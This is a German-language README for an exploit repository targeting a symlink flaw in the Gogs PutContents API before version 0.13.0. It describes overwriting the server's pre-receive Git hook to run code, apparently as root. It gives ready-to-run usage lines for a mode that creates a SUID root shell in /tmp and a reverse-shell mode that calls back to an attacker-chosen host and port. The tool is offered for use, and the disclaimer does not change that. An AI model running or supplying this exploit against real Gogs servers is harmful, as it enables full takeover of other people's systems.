
Unsachgemäße Handhabung symbolischer Links in der PutContents-API in Gogs ermöglicht die lokale Ausführung von Code.
Unsachgemäße Behandlung von symbolischen Verknüpfungen in der PutContents-API in Gogs ermöglicht lokale Codeausführung.
Dieses Repository enthält einen professionellen Exploit für eine kritische Schwachstelle in Gogs-Versionen vor 0.13.0. Der Exploit nutzt einen logischen Fehler aus, bei dem die Gogs-API beim Aktualisieren von Repository-Inhalten keine Dateitypen validiert. Durch das Einfügen einer symbolischen Verknüpfung, die auf serverseitige Git-Hooks (pre-receive) zeigt, kann ein authentifizierter Benutzer den Inhalt des Hooks mit einem bösartigen Skript überschreiben. Nachfolgende Git-Push-Operationen lösen die Ausführung dieses Skripts im Kontext des Benutzers aus, der den Gogs-Dienst ausführt (normalerweise root).
Symlink-Injektion: Der Angreifer pusht eine symbolische Verknüpfung, die auf interne Repository-Hooks zeigt (z. B. /root/gogs-repositories//.git/hooks/pre-receive).
API-Überschreibung: Die Gogs-API erlaubt das Aktualisieren des Inhalts der symbolischen Verknüpfung. Da das Betriebssystem während des Schreibvorgangs der Verknüpfung folgt, wird der interne Git-Hook überschrieben.
RCE / Privilegieneskalation: Ein nachfolgender Git-Push löst den pre-receive-Hook aus. Wenn Gogs mit RUN_USER = root konfiguriert ist, erhält der Angreifer die vollständige Systemkontrolle.
Anforderungen
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
Nach Abschluss root-Zugriff auf dem Ziel erlangen:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
Dieses Tool dient nur zu Bildungszwecken und für autorisierte Sicherheitsprüfungen. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool an Systemen verursacht werden, die Ihnen gehören oder für die Sie ausdrücklich die Erlaubnis zum Testen haben.
| Argument | Erforderlich | Beschreibung |
|---|
--url | Ja | Die Basis-URL der Gogs-Instanz (z. B. http://127.0.0.1:3001). |
--user | Ja | Gültiger Benutzername für die Authentifizierung. |
--pass | Ja | Gültiges Passwort für den angegebenen Benutzer. |
--mode | Nein | Exploit-Modus: suid (erzeugt /tmp/rootbash) oder rev (Reverse Shell). |
--lhost | Nein | Lokale IP-Adresse für den Reverse-Shell-Rückruf. |
--lport | Nein | Lokaler Port für den Reverse-Shell-Listener. |